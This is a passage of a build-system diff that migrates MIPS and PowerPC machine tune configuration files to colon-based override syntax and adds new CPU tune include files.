+TUNE_FEATURES:tune-mips64r2-o32 = "${TUNE_FEATURES:tune-mips64-o32} mips64r2"
+BASE_LIB:tune-mips64r2-o32 = "lib"
+MIPSPKGSFX_VARIANT:tune-mips64r2-o32 = "${TUNE_ARCH}"
+PACKAGE_EXTRA_ARCHS:tune-mips64r2-o32 = "mips mips64-o32 mips64r2-o32"
+
+TUNE_FEATURES:tune-mips64r2el-o32 = "${TUNE_FEATURES:tune-mips64el-o32} mips64r2"
+BASE_LIB:tune-mips64r2el-o32 = "lib"
+MIPSPKGSFX_VARIANT:tune-mips64r2el-o32 = "${TUNE_ARCH}"
+PACKAGE_EXTRA_ARCHS:tune-mips64r2el-o32 = "mipsel mips64el-o32 mips64r2el-o32"
+
+# MIPS 64r2 o32 and Soft Float
+AVAILTUNES += "mips64r2-nf-o32 mips64r2el-nf-o32"
+
+TUNE_FEATURES:tune-mips64r2-nf-o32 = "${TUNE_FEATURES:tune-mips64-nf-o32} mips64r2"
+BASE_LIB:tune-mips64r2-nf-o32 = "lib"
+MIPSPKGSFX_VARIANT:tune-mips64r2-nf-o32 = "${TUNE_ARCH}"
+PACKAGE_EXTRA_ARCHS:tune-mips64r2-nf-o32 = "mips-nf mips64r2-nf-o32"
+
+TUNE_FEATURES:tune-mips64r2el-nf-o32 = "${TUNE_FEATURES:tune-mips64el-nf-o32} mips64r2"
+BASE_LIB:tune-mips64r2el-nf-o32 = "lib"
+MIPSPKGSFX_VARIANT:tune-mips64r2el-nf-o32 = "${TUNE_ARCH}"
+PACKAGE_EXTRA_ARCHS:tune-mips64r2el-nf-o32 = "mipsel-nf mips64r2el-nf-o32"
diff --git a/meta/conf/machine/include/mips/tune-mips64r6.inc b/meta/conf/machine/include/mips/tune-mips64r6.inc
new file mode 100644
index 0000000000..b4a7e9ef1b
--- /dev/null
+++ b/meta/conf/machine/include/mips/tune-mips64r6.inc
@@ -0,0 +1,58 @@
+DEFAULTTUNE ?= "mipsisa64r6el"
+
+require conf/machine/include/mips/arch-mips.inc
+
+TUNEVALID[mipsisa64r6] = "Enable mipsisa64r6 specific processor optimizations"
+TUNE_CCARGS .= "${@bb.utils.contains('TUNE_FEATURES', 'mipsisa64r6', ' -march=mips64r6', '', d)}"
+
+# Base Tunes
+AVAILTUNES += "mipsisa64r6 mipsisa64r6el"
+
+TUNE_FEATURES:tune-mipsisa64r6 = "bigendian fpu-hard n64 mipsisa64r6 r6"
+MIPSPKGSFX_VARIANT:tune-mipsisa64r6 = "${TUNE_ARCH}"
+BASE_LIB:tune-mipsisa64r6 = "lib64"
+PACKAGE_EXTRA_ARCHS:tune-mipsisa64r6 = "mipsisa64r6"
+
+TUNE_FEATURES:tune-mipsisa64r6el = "fpu-hard r6 n64 mipsisa64r6"
+MIPSPKGSFX_VARIANT:tune-mipsisa64r6el = "${TUNE_ARCH}"
+BASE_LIB:tune-mipsisa64r6el = "lib64"
+PACKAGE_EXTRA_ARCHS:tune-mipsisa64r6el = "mipsisa64r6el"
+
+# Soft Float
+AVAILTUNES += "mipsisa64r6-nf mipsisa64r6el-nf"
+
+TUNE_FEATURES:tune-mipsisa64r6-nf = "bigendian r6 n64 mipsisa64r6"
+MIPSPKGSFX_VARIANT:tune-mipsisa64r6-nf = "${TUNE_ARCH}"
+BASE_LIB:tune-mipsisa64r6-nf = "lib64"
+PACKAGE_EXTRA_ARCHS:tune-mipsisa64r6-nf = "mipsisa64r6-nf"
+
+TUNE_FEATURES:tune-mipsisa64r6el-nf = "r6 n64 mipsisa64r6"
+MIPSPKGSFX_VARIANT:tune-mipsisa64r6el-nf = "${TUNE_ARCH}"
+BASE_LIB:tune-mipsisa64r6el-nf = "lib64"
+PACKAGE_EXTRA_ARCHS:tune-mipsisa64r6el-nf = "mipsisa64r6el-nf"
+
+# MIPS 64r6 n32
+AVAILTUNES += "mipsisa64r6-n32 mipsisa64r6el-n32"
+
+TUNE_FEATURES:tune-mipsisa64r6-n32 = "bigendian fpu-hard r6 n32 mipsisa64r6"
+BASE_LIB:tune-mipsisa64r6-n32 = "lib32"
+MIPSPKGSFX_VARIANT:tune-mipsisa64r6-n32 = "${TUNE_ARCH}"
+PACKAGE_EXTRA_ARCHS:tune-mipsisa64r6-n32 = "mipsisa64r6-n32"
+
+TUNE_FEATURES:tune-mipsisa64r6el-n32 = "fpu-hard r6 n32 mipsisa64r6"
+BASE_LIB:tune-mipsisa64r6el-n32 = "lib32"
+MIPSPKGSFX_VARIANT:tune-mipsisa64r6el-n32 = "${TUNE_ARCH}"
+PACKAGE_EXTRA_ARCHS:tune-mipsisa64r6el-n32 = "mipsisa64r6el-n32"
+
+# MIPS 64r6 n32 and Soft Float
+AVAILTUNES += "mipsisa64r6-nf-n32 mipsisa64r6el-nf-n32"
+
+TUNE_FEATURES:tune-mipsisa64r6-nf-n32 = "bigendian r6 n32 mipsisa64r6"
+BASE_LIB:tune-mipsisa64r6-nf-n32 = "lib32"
+MIPSPKGSFX_VARIANT:tune-mipsisa64r6-nf-n32 = "${TUNE_ARCH}"
+PACKAGE_EXTRA_ARCHS:tune-mipsisa64r6-nf-n32 = "mipsisa64r6-nf-n32"
+
+TUNE_FEATURES:tune-mipsisa64r6el-nf-n32 = "r6 n32 mipsisa64r6"
+BASE_LIB:tune-mipsisa64r6el-nf-n32 = "lib32"
+MIPSPKGSFX_VARIANT:tune-mipsisa64r6el-nf-n32 = "${TUNE_ARCH}"
+PACKAGE_EXTRA_ARCHS:tune-mipsisa64r6el-nf-n32 = "mipsisa64r6el-nf-n32"
diff --git a/meta/conf/machine/include/mips/tune-octeon.inc b/meta/conf/machine/include/mips/tune-octeon.inc
new file mode 100644
index 0000000000..d4670e3259
--- /dev/null
+++ b/meta/conf/machine/include/mips/tune-octeon.inc
@@ -0,0 +1,32 @@
+DEFAULTTUNE ?="octeon2"
+
+require conf/machine/include/mips/tune-mips64.inc
+
+AVAILTUNES += "octeon2 octeon2_64 octeon3 octeon3_64"
+
+TUNEVALID[octeon2] = "Enable optimization related to octeon2 support"
+TUNE_CCARGS .= "${@bb.utils.contains('TUNE_FEATURES', 'octeon2', ' -march=octeon2 ', '',d)}"
+
+TUNE_FEATURES:tune-octeon2 = "${TUNE_FEATURES:tune-mips64-n32} octeon2"
+BASE_LIB:tune-octeon2 = "lib32"
+MIPSPKGSFX_VARIANT:tune-octeon2 = "octeon2"
+PACKAGE_EXTRA_ARCHS:tune-octeon2 = "mips64-n32 octeon2-n32"
+
+TUNE_FEATURES:tune-octeon2_64 = "${TUNE_FEATURES:tune-mips64} octeon2"
+BASE_LIB:tune-octeon2_64 = "lib64"
+MIPSPKGSFX_VARIANT:tune-octeon2_64 = "octeon2_64"
+PACKAGE_EXTRA_ARCHS:tune-octeon2_64 = "mips64 octeon2_64"
+
+
+TUNEVALID[octeon3] = "Enable optimization related to octeon3 support"
+TUNE_CCARGS .= "${@bb.utils.contains('TUNE_FEATURES', 'octeon3', ' -march=octeon3 ', '',d)}"
+
+TUNE_FEATURES:tune-octeon3 = "${TUNE_FEATURES:tune-mips64-n32} octeon3"
+BASE_LIB:tune-octeon3 = "lib32"
+MIPSPKGSFX_VARIANT:tune-octeon3 = "octeon3"
+PACKAGE_EXTRA_ARCHS:tune-octeon3 = "mips64-n32 octeon3-n32"
+
+TUNE_FEATURES:tune-octeon3_64 = "${TUNE_FEATURES:tune-mips64} octeon3"
+BASE_LIB:tune-octeon3_64 = "lib64"
+MIPSPKGSFX_VARIANT:tune-octeon3_64 = "octeon3_64"
+PACKAGE_EXTRA_ARCHS:tune-octeon3_64 = "mips64 octeon3_64"
diff --git a/meta/conf/machine/include/powerpc/README b/meta/conf/machine/include/powerpc/README
index e87fb5082c..e813d21818 100644
--- a/meta/conf/machine/include/powerpc/README
+++ b/meta/conf/machine/include/powerpc/README
@@ -12,6 +12,6 @@ May of the PowerPC package archictures are based on legacy Linux names.
However, a general naming scheme should be similar to: ppc[64][<family>][-nf].
(Note: the default package architectures are "powerpc" and "powerpc64".)
-TUNE_PKGARCH is defined as TUNE_PKGARCH_tune-${DEFAULTTUNE}. All
-PowerPC tunings are required to define TUNE_PKGARCH_tune-<tune>.
+TUNE_PKGARCH is defined as TUNE_PKGARCH:tune-${DEFAULTTUNE}. All
+PowerPC tunings are required to define TUNE_PKGARCH:tune-<tune>.
diff --git a/meta/conf/machine/include/powerpc/arch-powerpc.inc b/meta/conf/machine/include/powerpc/arch-powerpc.inc
index ef18e9ac8b..be687e2df7 100644
--- a/meta/conf/machine/include/powerpc/arch-powerpc.inc
+++ b/meta/conf/machine/include/powerpc/arch-powerpc.inc
@@ -5,7 +5,7 @@
DEFAULTTUNE ?= "powerpc"
-TUNE_PKGARCH = "${TUNE_PKGARCH_tune-${DEFAULTTUNE}}"
+TUNE_PKGARCH = "${TUNE_PKGARCH:tune-${DEFAULTTUNE}}"
ABIEXTENSION ?= ""
# Endian
@@ -30,22 +30,22 @@ TUNEVALID[altivec] = "Altivec"
# Basic tune definitions
AVAILTUNES += "powerpc powerpc-nf powerpcle powerpcle-nf"
-TUNE_FEATURES_tune-powerpc-nf = "m32 fpu-soft bigendian"
-BASE_LIB_tune-powerpc-nf = "lib"
-TUNE_PKGARCH_tune-powerpc-nf = "powerpc-nf"
-PACKAGE_EXTRA_ARCHS_tune-powerpc-nf = "powerpc-nf"
-
-TUNE_FEATURES_tune-powerpc = "m32 fpu-hard bigendian"
-BASE_LIB_tune-powerpc = "lib"
-TUNE_PKGARCH_tune-powerpc = "powerpc"
-PACKAGE_EXTRA_ARCHS_tune-powerpc = "powerpc"
-
-TUNE_FEATURES_tune-powerpcle-nf = "m32 fpu-soft"
-BASE_LIB_tune-powerpcle-nf = "lib"
-TUNE_PKGARCH_tune-powerpcle-nf = "powerpcle-nf"
-PACKAGE_EXTRA_ARCHS_tune-powerpcle-nf = "powerpcle-nf"
-
-TUNE_FEATURES_tune-powerpcle = "m32 fpu-hard"
-BASE_LIB_tune-powerpcle = "lib"
-TUNE_PKGARCH_tune-powerpcle = "powerpcle"
-PACKAGE_EXTRA_ARCHS_tune-powerpcle = "powerpcle"
+TUNE_FEATURES:tune-powerpc-nf = "m32 fpu-soft bigendian"
+BASE_LIB:tune-powerpc-nf = "lib"
+TUNE_PKGARCH:tune-powerpc-nf = "powerpc-nf"
+PACKAGE_EXTRA_ARCHS:tune-powerpc-nf = "powerpc-nf"
+
+TUNE_FEATURES:tune-powerpc = "m32 fpu-hard bigendian"
+BASE_LIB:tune-powerpc = "lib"
+TUNE_PKGARCH:tune-powerpc = "powerpc"
+PACKAGE_EXTRA_ARCHS:tune-powerpc = "powerpc"
+
+TUNE_FEATURES:tune-powerpcle-nf = "m32 fpu-soft"
+BASE_LIB:tune-powerpcle-nf = "lib"
+TUNE_PKGARCH:tune-powerpcle-nf = "powerpcle-nf"
+PACKAGE_EXTRA_ARCHS:tune-powerpcle-nf = "powerpcle-nf"
+
+TUNE_FEATURES:tune-powerpcle = "m32 fpu-hard"
+BASE_LIB:tune-powerpcle = "lib"
+TUNE_PKGARCH:tune-powerpcle = "powerpcle"
+PACKAGE_EXTRA_ARCHS:tune-powerpcle = "powerpcle"
diff --git a/meta/conf/machine/include/powerpc/arch-powerpc64.inc b/meta/conf/machine/include/powerpc/arch-powerpc64.inc
index cf5c3ef8e6..2533151869 100644
--- a/meta/conf/machine/include/powerpc/arch-powerpc64.inc
+++ b/meta/conf/machine/include/powerpc/arch-powerpc64.inc
@@ -10,17 +10,14 @@ TUNE_ARCH .= "${@bb.utils.contains('TUNE_FEATURES', [ 'm64' ], 'powerpc64${ENDIA
# musl only supports elfv2 ABI for ppc64
TUNE_CCARGS .= "${@['', ' -mabi=elfv2']['libc-musl' in d.getVar('OVERRIDES').split(':')]}"
-# user mode qemu doesn't support ppc64
-MACHINE_FEATURES_BACKFILL_CONSIDERED_append = " ${@bb.utils.contains('TUNE_FEATURES', 'm64', 'qemu-usermode', '', d)}"
-
AVAILTUNES += "powerpc64 powerpc64le"
-TUNE_FEATURES_tune-powerpc64 = "m64 fpu-hard bigendian"
-BASE_LIB_tune-powerpc64 = "lib64"
-TUNE_PKGARCH_tune-powerpc64 = "powerpc64"
-PACKAGE_EXTRA_ARCHS_tune-powerpc64 = "powerpc64"
+TUNE_FEATURES:tune-powerpc64 = "m64 fpu-hard bigendian"
+BASE_LIB:tune-powerpc64 = "lib64"
+TUNE_PKGARCH:tune-powerpc64 = "powerpc64"
+PACKAGE_EXTRA_ARCHS:tune-powerpc64 = "powerpc64"
-TUNE_FEATURES_tune-powerpc64le = "m64 fpu-hard"
-BASE_LIB_tune-powerpc64le = "lib64"
-TUNE_PKGARCH_tune-powerpc64le = "powerpc64le"
-PACKAGE_EXTRA_ARCHS_tune-powerpc64le = "powerpc64le"
+TUNE_FEATURES:tune-powerpc64le = "m64 fpu-hard"
+BASE_LIB:tune-powerpc64le = "lib64"
+TUNE_PKGARCH:tune-powerpc64le = "powerpc64le"
+PACKAGE_EXTRA_ARCHS:tune-powerpc64le = "powerpc64le"
diff --git a/meta/conf/machine/include/powerpc/tune-power5.inc b/meta/conf/machine/include/powerpc/tune-power5.inc
new file mode 100644
index 0000000000..e70e401217
--- /dev/null
+++ b/meta/conf/machine/include/powerpc/tune-power5.inc
@@ -0,0 +1,24 @@
+DEFAULTTUNE ?= "ppcp5"
+
+require conf/machine/include/powerpc/arch-powerpc64.inc
+
+TUNEVALID[power5] = "Enable IBM Power5 specific processor optimizations"
+TUNE_CCARGS .= "${@bb.utils.contains('TUNE_FEATURES', 'power5', ' -mcpu=power5', '', d)}"
+
+AVAILTUNES += "ppcp5 ppc64p5"
+TUNE_FEATURES:tune-ppcp5 = "m32 fpu-hard power5 altivec bigendian"
+BASE_LIB:tune-ppcp5 = "lib"
+TUNE_PKGARCH:tune-ppcp5 = "ppcp5"
+PACKAGE_EXTRA_ARCHS:tune-ppcp5 = "${PACKAGE_EXTRA_ARCHS:tune-powerpc} ppcp5"
+
+TUNE_FEATURES:tune-ppc64p5 = "m64 fpu-hard power5 altivec bigendian"
+BASE_LIB:tune-ppc64p5 = "lib64"
+TUNE_PKGARCH:tune-ppc64p5 = "ppc64p5"
+PACKAGE_EXTRA_ARCHS:tune-ppc64p5 = "${PACKAGE_EXTRA_ARCHS:tune-powerpc64} ppc64p5"
+
+# glibc configure options to get power5 specific library
+GLIBC_EXTRA_OECONF:powerpc64 += "${@bb.utils.contains('TUNE_FEATURES', 'power5', '--with-cpu=power5', '', d)}"
+GLIBC_EXTRA_OECONF:powerpc += "${@bb.utils.contains('TUNE_FEATURES', 'power5', '--with-cpu=power5', '', d)}"
+
+# QEMU usermode fails with invalid instruction error
+MACHINE_FEATURES_BACKFILL_CONSIDERED:append = "${@bb.utils.contains('TUNE_FEATURES', 'power5', ' qemu-usermode', '', d)}"
diff --git a/meta/conf/machine/include/powerpc/tune-power6.inc b/meta/conf/machine/include/powerpc/tune-power6.inc
new file mode 100644
index 0000000000..eaf89515ca
--- /dev/null
+++ b/meta/conf/machine/include/powerpc/tune-power6.inc
@@ -0,0 +1,24 @@
+DEFAULTTUNE ?= "ppcp6"
+
+require conf/machine/include/powerpc/arch-powerpc64.inc
+
+TUNEVALID[power6] = "Enable IBM Power6 specific processor optimizations"
+TUNE_CCARGS .= "${@bb.utils.contains('TUNE_FEATURES', 'power6', ' -mcpu=power6', '', d)}"
+
+AVAILTUNES += "ppcp6 ppc64p6"
+TUNE_FEATURES:tune-ppcp6 = "m32 fpu-hard power6 altivec bigendian"
+BASE_LIB:tune-ppcp6 = "lib"
+TUNE_PKGARCH:tune-ppcp6 = "ppcp6"
+PACKAGE_EXTRA_ARCHS:tune-ppcp6 = "${PACKAGE_EXTRA_ARCHS:tune-powerpc} ppcp6"
+
+TUNE_FEATURES:tune-ppc64p6 = "m64 fpu-hard power6 altivec bigendian"
+BASE_LIB:tune-ppc64p6 = "lib64"
+TUNE_PKGARCH:tune-ppc64p6 = "ppc64p6"
+PACKAGE_EXTRA_ARCHS:tune-ppc64p6 = "${PACKAGE_EXTRA_ARCHS:tune-powerpc64} ppc64p6"
+
+# glibc configure options to get power6 specific library
+GLIBC_EXTRA_OECONF:powerpc64 += "${@bb.utils.contains('TUNE_FEATURES', 'power6', '--with-cpu=power6', '', d)}"
+GLIBC_EXTRA_OECONF:powerpc += "${@bb.utils.contains('TUNE_FEATURES', 'power6', '--with-cpu=power6', '', d)}"
+
+# QEMU usermode fails with invalid instruction error
+MACHINE_FEATURES_BACKFILL_CONSIDERED:append = "${@bb.utils.contains('TUNE_FEATURES', 'power6', ' qemu-usermode', '', d)}"
diff --git a/meta/conf/machine/include/powerpc/tune-power7.inc b/meta/conf/machine/include/powerpc/tune-power7.inc
new file mode 100644
index 0000000000..4531ddd85f
--- /dev/null
+++ b/meta/conf/machine/include/powerpc/tune-power7.inc
@@ -0,0 +1,24 @@
+DEFAULTTUNE ?= "ppcp7"
+
+require conf/machine/include/powerpc/arch-powerpc64.inc
+
+TUNEVALID[power7] = "Enable IBM Power7 specific processor optimizations"
+TUNE_CCARGS .= "${@bb.utils.contains('TUNE_FEATURES', 'power7', ' -mcpu=power7', '', d)}"
+
+AVAILTUNES += "ppcp7 ppc64p7"
+TUNE_FEATURES:tune-ppcp7 = "m32 fpu-hard power7 altivec bigendian"
+BASE_LIB:tune-ppcp7 = "lib"
+TUNE_PKGARCH:tune-ppcp7 = "ppcp7"
+PACKAGE_EXTRA_ARCHS:tune-ppcp7 = "${PACKAGE_EXTRA_ARCHS:tune-powerpc} ppcp7"
+
+TUNE_FEATURES:tune-ppc64p7 = "m64 fpu-hard power7 altivec bigendian"
+BASE_LIB:tune-ppc64p7 = "lib64"
+TUNE_PKGARCH:tune-ppc64p7 = "ppc64p7"
+PACKAGE_EXTRA_ARCHS:tune-ppc64p7 = "${PACKAGE_EXTRA_ARCHS:tune-powerpc64} ppc64p7"
+
+# glibc configure options to get power7 specific library
+GLIBC_EXTRA_OECONF:powerpc64 += "${@bb.utils.contains('TUNE_FEATURES', 'power7', '--with-cpu=power7', '', d)}"
+GLIBC_EXTRA_OECONF:powerpc += "${@bb.utils.contains('TUNE_FEATURES', 'power7', '--with-cpu=power7', '', d)}"
+
+# QEMU usermode fails with invalid instruction error
+MACHINE_FEATURES_BACKFILL_CONSIDERED:append = "${@bb.utils.contains('TUNE_FEATURES', 'power7', ' qemu-usermode', '', d)}"
diff --git a/meta/conf/machine/include/powerpc/tune-power9.inc b/meta/conf/machine/include/powerpc/tune-power9.inc
new file mode 100644
index 0000000000..6744731f8e
--- /dev/null
+++ b/meta/conf/machine/include/powerpc/tune-power9.inc
@@ -0,0 +1,31 @@
+DEFAULTTUNE ?= "ppc64p9le"
+
+require conf/machine/include/powerpc/arch-powerpc64.inc
+
+TUNEVALID[power9] = "Enable IBM Power9 specific processor optimizations"
+TUNE_CCARGS .= "${@bb.utils.contains('TUNE_FEATURES', 'power9', ' -mcpu=power9', '', d)}"
+
+AVAILTUNES += "ppcp9 ppc64p9 ppcp9le ppc64p9le"
+
+TUNE_FEATURES:tune-ppcp9 = "m32 fpu-hard power9 altivec bigendian"
+BASE_LIB:tune-ppcp9 = "lib"
+TUNE_PKGARCH:tune-ppcp9 = "ppcp9"
+PACKAGE_EXTRA_ARCHS:tune-ppcp9 = "${PACKAGE_EXTRA_ARCHS:tune-powerpc} ppcp9"
+
+TUNE_FEATURES:tune-ppc64p9 = "m64 fpu-hard power9 altivec bigendian"
+BASE_LIB:tune-ppc64p9 = "lib64"
+TUNE_PKGARCH:tune-ppc64p9 = "ppc64p9"
+PACKAGE_EXTRA_ARCHS:tune-ppc64p9 = "${PACKAGE_EXTRA_ARCHS:tune-powerpc64} ppc64p9"
+
+TUNE_FEATURES:tune-ppcp9le = "m32 fpu-hard power9 altivec"
+BASE_LIB:tune-ppcp9le = "lib"
+TUNE_PKGARCH:tune-ppcp9le = "ppcp9le"
+PACKAGE_EXTRA_ARCHS:tune-ppcp9le = "${PACKAGE_EXTRA_ARCHS:tune-powerpcle} ppcp9le"
+
+TUNE_FEATURES:tune-ppc64p9le = "m64 fpu-hard power9 altivec"
+BASE_LIB:tune-ppc64p9le = "lib64"
+TUNE_PKGARCH:tune-ppc64p9le = "ppc64p9le"
+PACKAGE_EXTRA_ARCHS:tune-ppc64p9le = "${PACKAGE_EXTRA_ARCHS:tune-powerpc64le} ppc64p9le"
+
+# glibc configure options to get power9 specific library
+GLIBC_EXTRA_OECONF += "${@bb.utils.contains('TUNE_FEATURES', 'power9', '--with-cpu=power9', '', d)}"
diff --git a/meta/conf/machine/include/powerpc/tune-ppc476.inc b/meta/conf/machine/include/powerpc/tune-ppc476.inc
new file mode 100644
index 0000000000..54152cb941
--- /dev/null
+++ b/meta/conf/machine/include/powerpc/tune-ppc476.inc
@@ -0,0 +1,14 @@
+DEFAULTTUNE ?= "ppc476"
+
+require conf/machine/include/powerpc/arch-powerpc.inc
+
+TUNEVALID[ppc476] = "Enable ppc476 specific processor optimizations"
+TUNE_CCARGS .= "${@bb.utils.contains('TUNE_FEATURES', 'ppc476', ' -mcpu=476', '', d)}"
+
+AVAILTUNES += "ppc476"
+TUNE_FEATURES:tune-ppc476 = "m32 fpu-hard ppc476 bigendian"
+TUNE_PKGARCH:tune-ppc476 = "ppc476"
+PACKAGE_EXTRA_ARCHS:tune-ppc476 = "${PACKAGE_EXTRA_ARCHS:tune-powerpc} ppc476"
+
+# glibc configure options to get 476 specific library (for sqrt)
+GLIBC_EXTRA_OECONF += "${@bb.utils.contains('TUNE_FEATURES', 'ppc476', '-with-cpu=476', '', d)}"
diff --git a/meta/conf/machine/include/powerpc/tune-ppc603e.inc b/meta/conf/machine/include/powerpc/tune-ppc603e.inc
new file mode 100644
index 0000000000..8beec00f24
--- /dev/null
+++ b/meta/conf/machine/include/powerpc/tune-ppc603e.inc
@@ -0,0 +1,14 @@
+DEFAULTTUNE ?= "ppc603e"
+
+require conf/machine/include/powerpc/arch-powerpc.inc
+
+TUNEVALID[ppc603e] = "Enable ppc603e specific processor optimizations"
+TUNE_CCARGS .= "${@bb.utils.contains('TUNE_FEATURES', 'ppc603e', ' -mcpu=603e', '', d)}"
+
+AVAILTUNES += "ppc603e"
+TUNE_FEATURES:tune-ppc603e = "m32 fpu-hard ppc603e bigendian"
+TUNE_PKGARCH:tune-ppc603e = "ppc603e"
+PACKAGE_EXTRA_ARCHS:tune-ppc603e = "${PACKAGE_EXTRA_ARCHS:tune-powerpc} ppc603e"
+
+# glibc configure options to get 603e specific library (for sqrt)
+GLIBC_EXTRA_OECONF += "${@bb.utils.contains('TUNE_FEATURES', 'ppc603e', '-with-cpu=603e', '', d)}"
diff --git a/meta/conf/machine/include/powerpc/tune-ppc7400.inc b/meta/conf/machine/include/powerpc/tune-ppc7400.inc
new file mode 100644
index 0000000000..1e2c9fc2ce
--- /dev/null
+++ b/meta/conf/machine/include/powerpc/tune-ppc7400.inc
@@ -0,0 +1,14 @@
+DEFAULTTUNE ?= "ppc7400"
+
+require conf/machine/include/powerpc/arch-powerpc.inc
+
+TUNEVALID[ppc7400] = "Enable ppc7400 specific processor optimizations"
+TUNE_CCARGS .= "${@bb.utils.contains('TUNE_FEATURES', 'ppc7400', ' -mcpu=7400 -mno-spe', '', d)}"
+
+AVAILTUNES += "ppc7400"
+TUNE_FEATURES:tune-ppc7400 = "m32 fpu-hard ppc7400 altivec bigendian"
+TUNE_PKGARCH:tune-ppc7400 = "ppc7400"
+PACKAGE_EXTRA_ARCHS:tune-ppc7400 = "${PACKAGE_EXTRA_ARCHS:tune-powerpc} ppc7400"
+
+# glibc configure options to get 7400 specific library (for sqrt)
+#GLIBC_EXTRA_OECONF += "${@bb.utils.contains('TUNE_FEATURES', 'ppc7400', '--with-cpu=power4', '', d)}"
diff --git a/meta/conf/machine/include/powerpc/tune-ppce300c2.inc b/meta/conf/machine/include/powerpc/tune-ppce300c2.inc
new file mode 100644
index 0000000000..90171c76d5
--- /dev/null
+++ b/meta/conf/machine/include/powerpc/tune-ppce300c2.inc
@@ -0,0 +1,11 @@
+DEFAULTTUNE ?= "ppce300c2"
+
+require conf/machine/include/powerpc/arch-powerpc.inc
+
+TUNEVALID[ppce300c2] = "Enable ppce300c2 specific processor optimizations"
+TUNE_CCARGS .= "${@bb.utils.contains('TUNE_FEATURES', 'ppce300c2', ' -mcpu=e300c2', '', d)}"
+
+AVAILTUNES += "ppce300c2"
+TUNE_FEATURES:tune-ppce300c2 = "m32 fpu-soft ppce300c2 bigendian"
+TUNE_PKGARCH:tune-ppce300c2 = "ppce300c2"
+PACKAGE_EXTRA_ARCHS:tune-ppce300c2 = "${PACKAGE_EXTRA_ARCHS:tune-powerpc-nf} ppce300c2"
diff --git a/meta/conf/machine/include/powerpc/tune-ppce300c3.inc b/meta/conf/machine/include/powerpc/tune-ppce300c3.inc
new file mode 100644
index 0000000000..b74b6ad976
--- /dev/null
+++ b/meta/conf/machine/include/powerpc/tune-ppce300c3.inc
@@ -0,0 +1,23 @@
+DEFAULTTUNE ?= "ppce300c3"
+
+require conf/machine/include/powerpc/arch-powerpc.inc
+
+AVAILTUNES += "ppce300c3 ppce300c3-nf"
+
+# hard-float
+TUNEVALID[ppce300c3] = "Enable ppce300c3 specific processor optimizations"
+TUNE_FEATURES:tune-ppce300c3 = "${TUNE_FEATURES:tune-powerpc} ppce300c3"
+TUNE_PKGARCH:tune-ppce300c3 = "ppce300c3"
+PACKAGE_EXTRA_ARCHS:tune-ppce300c3 = "${PACKAGE_EXTRA_ARCHS:tune-powerpc} ppce300c3"
+TUNE_CCARGS .= "${@bb.utils.contains('TUNE_FEATURES', 'ppce300c3', ' -mcpu=e300c3', '', d)}"
+
+# glibc config options to make use of e300c3 (603e) specific sqrt/sqrtf routines
+GLIBC_EXTRA_OECONF += "${@bb.utils.contains('TUNE_FEATURES', 'ppce300c3', '--with-cpu=e300c3', '', d)}"
+
+# soft-float
+TUNEVALID[ppce300c3-nf] = "Enable ppce300c3 specific processor optimizations (no fpu)"
+TUNE_FEATURES:tune-ppce300c3-nf = "${TUNE_FEATURES:tune-powerpc-nf} ppce300c3-nf"
+TUNE_PKGARCH:tune-ppce300c3-nf = "ppce300c3-nf"
+PACKAGE_EXTRA_ARCHS:tune-ppce300c3-nf = "${PACKAGE_EXTRA_ARCHS:tune-powerpc-nf} ppce300c3-nf"
+TUNE_CCARGS .= "${@bb.utils.contains('TUNE_FEATURES', 'ppce300c3-nf', ' -mcpu=e300c3', '', d)}"
+
diff --git a/meta/conf/machine/include/tune-ppce500.inc b/meta/conf/machine/include/powerpc/tune-ppce500.inc
index abf81b90c4..aceab321b7 100644
--- a/meta/conf/machine/include/tune-ppce500.inc
+++ b/meta/conf/machine/include/powerpc/tune-ppce500.inc
@@ -15,6 +15,6 @@ SPEABIEXTENSION = "${@bb.utils.filter('TUNE_FEATURES', 'spe', d)}"
ABIEXTENSION .= "${SPEABIEXTENSION}"
AVAILTUNES += "ppce500"
-TUNE_FEATURES_tune-ppce500 = "m32 spe ppce500 bigendian"
-TUNE_PKGARCH_tune-ppce500 = "ppce500"
-PACKAGE_EXTRA_ARCHS_tune-ppce500 = "ppce500"
+TUNE_FEATURES:tune-ppce500 = "m32 spe ppce500 bigendian"
+TUNE_PKGARCH:tune-ppce500 = "ppce500"
+PACKAGE_EXTRA_ARCHS:tune-ppce500 = "ppce500"
diff --git a/meta/conf/machine/include/tune-ppce500mc.inc b/meta/conf/machine/include/powerpc/tune-ppce500mc.inc
index 9f8a172804..e3524a10ca 100644
--- a/meta/conf/machine/include/tune-ppce500mc.inc
+++ b/meta/conf/machine/include/powerpc/tune-ppce500mc.inc
@@ -6,9 +6,9 @@ TUNEVALID[ppce500mc] = "Enable ppce500mc specific processor optimizations"
TUNE_CCARGS .= "${@bb.utils.contains('TUNE_FEATURES', 'ppce500mc', ' -mcpu=e500mc', '', d)}"
AVAILTUNES += "ppce500mc"
-TUNE_FEATURES_tune-ppce500mc = "m32 fpu-hard ppce500mc bigendian"
-TUNE_PKGARCH_tune-ppce500mc = "ppce500mc"
-PACKAGE_EXTRA_ARCHS_tune-ppce500mc = "${PACKAGE_EXTRA_ARCHS_tune-powerpc} ppce500mc"
+TUNE_FEATURES:tune-ppce500mc = "m32 fpu-hard ppce500mc bigendian"
+TUNE_PKGARCH:tune-ppce500mc = "ppce500mc"
+PACKAGE_EXTRA_ARCHS:tune-ppce500mc = "${PACKAGE_EXTRA_ARCHS:tune-powerpc} ppce500mc"
# glibc configure options to get e500mc specific library (for sqrt)
GLIBC_EXTRA_OECONF += "${@bb.utils.contains('TUNE_FEATURES', 'ppce500mc', '-with-cpu=e500mc', '', d)}"
diff --git a/meta/conf/machine/include/tune-ppce500v2.inc b/meta/conf/machine/include/powerpc/tune-ppce500v2.inc
index f6c7c17623..461164d818 100644
--- a/meta/conf/machine/include/tune-ppce500v2.inc
+++ b/meta/conf/machine/include/powerpc/tune-ppce500v2.inc
@@ -15,6 +15,6 @@ SPEABIEXTENSION = "${@bb.utils.filter('TUNE_FEATURES', 'spe', d)}"
ABIEXTENSION .= "${SPEABIEXTENSION}"
AVAILTUNES += "ppce500v2"
-TUNE_FEATURES_tune-ppce500v2 = "m32 ppce500v2 bigendian"
-TUNE_PKGARCH_tune-ppce500v2 = "ppce500v2"
-PACKAGE_EXTRA_ARCHS_tune-ppce500v2 = "ppce500v2"
+TUNE_FEATURES:tune-ppce500v2 = "m32 ppce500v2 bigendian"
+TUNE_PKGARCH:tune-ppce500v2 = "ppce500v2"
+PACKAGE_EXTRA_ARCHS:tune-ppce500v2 = "ppce500v2"
diff --git a/meta/conf/machine/include/powerpc/tune-ppce5500.inc b/meta/conf/machine/include/powerpc/tune-ppce5500.inc
